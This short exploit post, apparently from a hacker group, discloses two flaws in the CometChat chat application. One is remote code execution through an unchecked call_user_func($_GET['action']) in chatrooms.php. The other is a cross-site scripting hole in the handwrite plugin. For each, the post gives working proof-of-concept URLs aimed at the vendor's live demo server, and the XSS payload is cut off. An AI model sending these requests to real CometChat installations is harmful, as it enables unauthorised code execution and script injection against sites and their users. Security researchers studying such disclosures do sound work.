{$handwrite_language[0]}

################################################################################## __ _ _ ____ / /___ _____ (_)_____________ ______(_)__ _____ / __ \_________ _ __ / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/ / /_/ / /_/ / / / / (__ |__ ) /_/ / / / / __(__ )/ /_/ / / / /_/ / \____/\__,_/_/ /_/_/____/____/\__,_/_/ /_/\___/____(_)____/_/ \__, / /____/ ################################################################################## Cometchat chat Application All Version Multiple Vulnerabilities Cometchat is a chat application which in use Vbulletin,Xenforo,SMF,MyBB and other integrated scripts App Homepage : http://www.cometchat.com Author(Pentester): B127Y Special Thanks : Burtay and All Janissaries Team(Burtay,Miyachung,3spi0n,TheMirkin,Michelony,Mectruy) Jani Exploit id 1 (http://www.janissaries.org/exploits/1) ################################################################################## 1.)Code Execution P0C (modules/chatrooms/chatrooms.php) call_user_func call_user_func($_GET['action']); Can use all php functions and cometchat function without arguments Live Demo:http://static.cometchat.com/cometchat/modules/chatrooms/chatrooms.php?action=phpinfo 2.)XSS P0C (plugins/handwrite/index.php) echo echo << {$handwrite_language[0]}

EOD; $toId = $_GET['id']; Live Demo:http://static.cometchat.com/cometchat/plugins/handwrite/index.php?id=">